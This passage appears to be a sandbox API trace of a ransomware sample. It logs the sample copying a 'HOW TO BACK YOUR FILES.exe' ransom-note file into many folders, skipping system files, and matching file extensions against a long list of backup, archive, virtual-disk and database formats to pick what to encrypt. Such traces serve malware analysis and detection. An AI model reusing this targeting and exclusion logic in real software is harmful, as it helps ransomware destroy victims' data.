out: lpString1="sl-SI\\HOW TO BACK YOUR FILES.exe") returned="sl-SI\\HOW TO BACK YOUR FILES.exe" [0111.075] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.078] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2=".") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="..") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="windows") returned -1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="bootmgr") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="temp") returned -1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="pagefile.sys") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="boot") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="ids.txt") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="ntuser.dat") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="perflogs") returned 1 [0111.078] lstrcmpiW (lpString1="sr-Latn-CS", lpString2="MSBuild") returned 1 [0111.078] lstrlenW (lpString="sr-Latn-CS") returned 10 [0111.078] lstrcpyW (in: lpString1=0x241e8ae, lpString2="sr-Latn-CS" | out: lpString1="sr-Latn-CS") returned="sr-Latn-CS" [0111.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547858 [0111.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519d50 [0111.078] lstrcatW (in: lpString1="sr-Latn-CS", lpString2="\\" | out: lpString1="sr-Latn-CS\\") returned="sr-Latn-CS\\" [0111.078] lstrcatW (in: lpString1="sr-Latn-CS\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="sr-Latn-CS\\HOW TO BACK YOUR FILES.exe") returned="sr-Latn-CS\\HOW TO BACK YOUR FILES.exe" [0111.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.081] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2=".") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="..") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="windows") returned -1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="bootmgr") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="temp") returned -1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="pagefile.sys") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="boot") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="ids.txt") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="ntuser.dat") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="perflogs") returned 1 [0111.081] lstrcmpiW (lpString1="sv-SE", lpString2="MSBuild") returned 1 [0111.081] lstrlenW (lpString="sv-SE") returned 5 [0111.081] lstrcpyW (in: lpString1=0x241e8ae, lpString2="sv-SE" | out: lpString1="sv-SE") returned="sv-SE" [0111.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547870 [0111.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c1a0 [0111.081] lstrcatW (in: lpString1="sv-SE", lpString2="\\" | out: lpString1="sv-SE\\") returned="sv-SE\\" [0111.081] lstrcatW (in: lpString1="sv-SE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="sv-SE\\HOW TO BACK YOUR FILES.exe") returned="sv-SE\\HOW TO BACK YOUR FILES.exe" [0111.082] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.084] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0111.084] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2=".") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="..") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="windows") returned -1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="bootmgr") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="temp") returned -1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="pagefile.sys") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="boot") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="ids.txt") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="ntuser.dat") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="perflogs") returned 1 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="MSBuild") returned 1 [0111.085] lstrlenW (lpString="TabIpsps.dll") returned 12 [0111.085] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TabIpsps.dll" | out: lpString1="TabIpsps.dll") returned="TabIpsps.dll" [0111.085] lstrlenW (lpString="TabIpsps.dll") returned 12 [0111.085] lstrlenW (lpString="Athena865") returned 9 [0111.085] lstrcmpiW (lpString1="Ipsps.dll", lpString2="Athena865") returned 1 [0111.085] lstrlenW (lpString=".dll") returned 4 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2=".dll") returned 1 [0111.085] lstrlenW (lpString=".lnk") returned 4 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2=".lnk") returned 1 [0111.085] lstrlenW (lpString=".ini") returned 4 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2=".ini") returned 1 [0111.085] lstrlenW (lpString=".sys") returned 4 [0111.085] lstrcmpiW (lpString1="TabIpsps.dll", lpString2=".sys") returned 1 [0111.085] lstrlenW (lpString="TabIpsps.dll") returned 12 [0111.085] lstrlenW (lpString="bak") returned 3 [0111.085] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.085] lstrlenW (lpString="ba_") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.086] lstrlenW (lpString="dbb") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.086] lstrlenW (lpString="vmdk") returned 4 [0111.086] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.086] lstrlenW (lpString="rar") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.086] lstrlenW (lpString="zip") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.086] lstrlenW (lpString="tgz") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.086] lstrlenW (lpString="vbox") returned 4 [0111.086] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.086] lstrlenW (lpString="vdi") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.086] lstrlenW (lpString="vhd") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.086] lstrlenW (lpString="vhdx") returned 4 [0111.086] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.086] lstrlenW (lpString="avhd") returned 4 [0111.086] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.086] lstrlenW (lpString="db") returned 2 [0111.086] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.086] lstrlenW (lpString="db2") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.086] lstrlenW (lpString="db3") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.086] lstrlenW (lpString="dbf") returned 3 [0111.086] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.087] lstrlenW (lpString="mdf") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.087] lstrlenW (lpString="mdb") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.087] lstrlenW (lpString="sql") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.087] lstrlenW (lpString="sqlite") returned 6 [0111.087] lstrcmpiW (lpString1="ps.dll", lpString2="sqlite") returned -1 [0111.087] lstrlenW (lpString="sqlite3") returned 7 [0111.087] lstrcmpiW (lpString1="sps.dll", lpString2="sqlite3") returned -1 [0111.087] lstrlenW (lpString="sqlitedb") returned 8 [0111.087] lstrcmpiW (lpString1="psps.dll", lpString2="sqlitedb") returned -1 [0111.087] lstrlenW (lpString="xml") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.087] lstrlenW (lpString="$er") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.087] lstrlenW (lpString="4dd") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.087] lstrlenW (lpString="4dl") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.087] lstrlenW (lpString="^^^") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.087] lstrlenW (lpString="abs") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.087] lstrlenW (lpString="abx") returned 3 [0111.087] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.087] lstrlenW (lpString="accdb") returned 5 [0111.087] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0111.087] lstrlenW (lpString="accdc") returned 5 [0111.088] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0111.088] lstrlenW (lpString="accde") returned 5 [0111.088] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0111.088] lstrlenW (lpString="accdr") returned 5 [0111.088] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0111.088] lstrlenW (lpString="accdt") returned 5 [0111.088] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0111.088] lstrlenW (lpString="accdw") returned 5 [0111.088] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0111.088] lstrlenW (lpString="accft") returned 5 [0111.088] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0111.088] lstrlenW (lpString="adb") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.088] lstrlenW (lpString="adb") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.088] lstrlenW (lpString="ade") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.088] lstrlenW (lpString="adf") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.088] lstrlenW (lpString="adn") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.088] lstrlenW (lpString="adp") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.088] lstrlenW (lpString="alf") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.088] lstrlenW (lpString="ask") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.088] lstrlenW (lpString="btr") returned 3 [0111.088] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.089] lstrlenW (lpString="cat") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.089] lstrlenW (lpString="cdb") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.089] lstrlenW (lpString="ckp") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.089] lstrlenW (lpString="cma") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.089] lstrlenW (lpString="cpd") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.089] lstrlenW (lpString="dacpac") returned 6 [0111.089] lstrcmpiW (lpString1="ps.dll", lpString2="dacpac") returned 1 [0111.089] lstrlenW (lpString="dad") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.089] lstrlenW (lpString="dadiagrams") returned 10 [0111.089] lstrcmpiW (lpString1="bIpsps.dll", lpString2="dadiagrams") returned -1 [0111.089] lstrlenW (lpString="daschema") returned 8 [0111.089] lstrcmpiW (lpString1="psps.dll", lpString2="daschema") returned 1 [0111.089] lstrlenW (lpString="db-journal") returned 10 [0111.089] lstrcmpiW (lpString1="bIpsps.dll", lpString2="db-journal") returned -1 [0111.089] lstrlenW (lpString="db-shm") returned 6 [0111.089] lstrcmpiW (lpString1="ps.dll", lpString2="db-shm") returned 1 [0111.089] lstrlenW (lpString="db-wal") returned 6 [0111.089] lstrcmpiW (lpString1="ps.dll", lpString2="db-wal") returned 1 [0111.089] lstrlenW (lpString="dbc") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.089] lstrlenW (lpString="dbs") returned 3 [0111.089] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.090] lstrlenW (lpString="dbt") returned 3 [0111.090] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.090] lstrlenW (lpString="dbv") returned 3 [0111.090] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.091] lstrlenW (lpString="dbx") returned 3 [0111.094] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.094] lstrlenW (lpString="dcb") returned 3 [0111.094] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.094] lstrlenW (lpString="dct") returned 3 [0111.094] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.094] lstrlenW (lpString="dcx") returned 3 [0111.094] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.094] lstrlenW (lpString="ddl") returned 3 [0111.094] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.094] lstrlenW (lpString="dlis") returned 4 [0111.094] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0111.094] lstrlenW (lpString="dp1") returned 3 [0111.094] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0111.094] lstrlenW (lpString="dqy") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0111.095] lstrlenW (lpString="dsk") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0111.095] lstrlenW (lpString="dsn") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0111.095] lstrlenW (lpString="dtsx") returned 4 [0111.095] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0111.095] lstrlenW (lpString="dxl") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0111.095] lstrlenW (lpString="eco") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0111.095] lstrlenW (lpString="ecx") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0111.095] lstrlenW (lpString="edb") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0111.095] lstrlenW (lpString="epim") returned 4 [0111.095] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0111.095] lstrlenW (lpString="fcd") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0111.095] lstrlenW (lpString="fdb") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0111.095] lstrlenW (lpString="fic") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0111.095] lstrlenW (lpString="flexolibrary") returned 12 [0111.095] lstrlenW (lpString="fm5") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0111.095] lstrlenW (lpString="fmp") returned 3 [0111.095] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0111.095] lstrlenW (lpString="fmp12") returned 5 [0111.096] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0111.096] lstrlenW (lpString="fmpsl") returned 5 [0111.096] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0111.096] lstrlenW (lpString="fol") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0111.096] lstrlenW (lpString="fp3") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0111.096] lstrlenW (lpString="fp4") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0111.096] lstrlenW (lpString="fp5") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0111.096] lstrlenW (lpString="fp7") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0111.096] lstrlenW (lpString="fpt") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0111.096] lstrlenW (lpString="frm") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0111.096] lstrlenW (lpString="gdb") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.096] lstrlenW (lpString="gdb") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.096] lstrlenW (lpString="grdb") returned 4 [0111.096] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0111.096] lstrlenW (lpString="gwi") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0111.096] lstrlenW (lpString="hdb") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0111.096] lstrlenW (lpString="his") returned 3 [0111.096] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0111.096] lstrlenW (lpString="ib") returned 2 [0111.097] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0111.097] lstrlenW (lpString="idb") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0111.097] lstrlenW (lpString="ihx") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0111.097] lstrlenW (lpString="itdb") returned 4 [0111.097] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0111.097] lstrlenW (lpString="itw") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0111.097] lstrlenW (lpString="jet") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0111.097] lstrlenW (lpString="jtx") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0111.097] lstrlenW (lpString="kdb") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0111.097] lstrlenW (lpString="kexi") returned 4 [0111.097] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0111.097] lstrlenW (lpString="kexic") returned 5 [0111.097] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1 [0111.097] lstrlenW (lpString="kexis") returned 5 [0111.097] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0111.097] lstrlenW (lpString="lgc") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0111.097] lstrlenW (lpString="lwx") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0111.097] lstrlenW (lpString="maf") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0111.097] lstrlenW (lpString="maq") returned 3 [0111.097] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0111.097] lstrlenW (lpString="mar") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0111.098] lstrlenW (lpString="marshal") returned 7 [0111.098] lstrcmpiW (lpString1="sps.dll", lpString2="marshal") returned 1 [0111.098] lstrlenW (lpString="mas") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0111.098] lstrlenW (lpString="mav") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0111.098] lstrlenW (lpString="maw") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0111.098] lstrlenW (lpString="mdbhtml") returned 7 [0111.098] lstrcmpiW (lpString1="sps.dll", lpString2="mdbhtml") returned 1 [0111.098] lstrlenW (lpString="mdn") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0111.098] lstrlenW (lpString="mdt") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0111.098] lstrlenW (lpString="mfd") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0111.098] lstrlenW (lpString="mpd") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0111.098] lstrlenW (lpString="mrg") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0111.098] lstrlenW (lpString="mud") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0111.098] lstrlenW (lpString="mwb") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0111.098] lstrlenW (lpString="myd") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0111.098] lstrlenW (lpString="ndf") returned 3 [0111.098] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0111.099] lstrlenW (lpString="nnt") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0111.099] lstrlenW (lpString="nrmlib") returned 6 [0111.099] lstrcmpiW (lpString1="ps.dll", lpString2="nrmlib") returned 1 [0111.099] lstrlenW (lpString="ns2") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0111.099] lstrlenW (lpString="ns3") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0111.099] lstrlenW (lpString="ns4") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0111.099] lstrlenW (lpString="nsf") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0111.099] lstrlenW (lpString="nv") returned 2 [0111.099] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0111.099] lstrlenW (lpString="nv2") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0111.099] lstrlenW (lpString="nwdb") returned 4 [0111.099] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0111.099] lstrlenW (lpString="nyf") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0111.099] lstrlenW (lpString="odb") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.099] lstrlenW (lpString="odb") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0111.099] lstrlenW (lpString="oqy") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0111.099] lstrlenW (lpString="ora") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0111.099] lstrlenW (lpString="orx") returned 3 [0111.099] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0111.100] lstrlenW (lpString="owc") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0111.100] lstrlenW (lpString="p96") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0111.100] lstrlenW (lpString="p97") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0111.100] lstrlenW (lpString="pan") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0111.100] lstrlenW (lpString="pdb") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0111.100] lstrlenW (lpString="pdm") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0111.100] lstrlenW (lpString="pnz") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0111.100] lstrlenW (lpString="qry") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0111.100] lstrlenW (lpString="qvd") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0111.100] lstrlenW (lpString="rbf") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0111.100] lstrlenW (lpString="rctd") returned 4 [0111.100] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0111.100] lstrlenW (lpString="rod") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0111.100] lstrlenW (lpString="rodx") returned 4 [0111.100] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0111.100] lstrlenW (lpString="rpd") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0111.100] lstrlenW (lpString="rsd") returned 3 [0111.100] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0111.101] lstrlenW (lpString="sas7bdat") returned 8 [0111.101] lstrcmpiW (lpString1="psps.dll", lpString2="sas7bdat") returned -1 [0111.101] lstrlenW (lpString="sbf") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0111.101] lstrlenW (lpString="scx") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0111.101] lstrlenW (lpString="sdb") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0111.101] lstrlenW (lpString="sdc") returned 3 [0111.101] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0111.101] 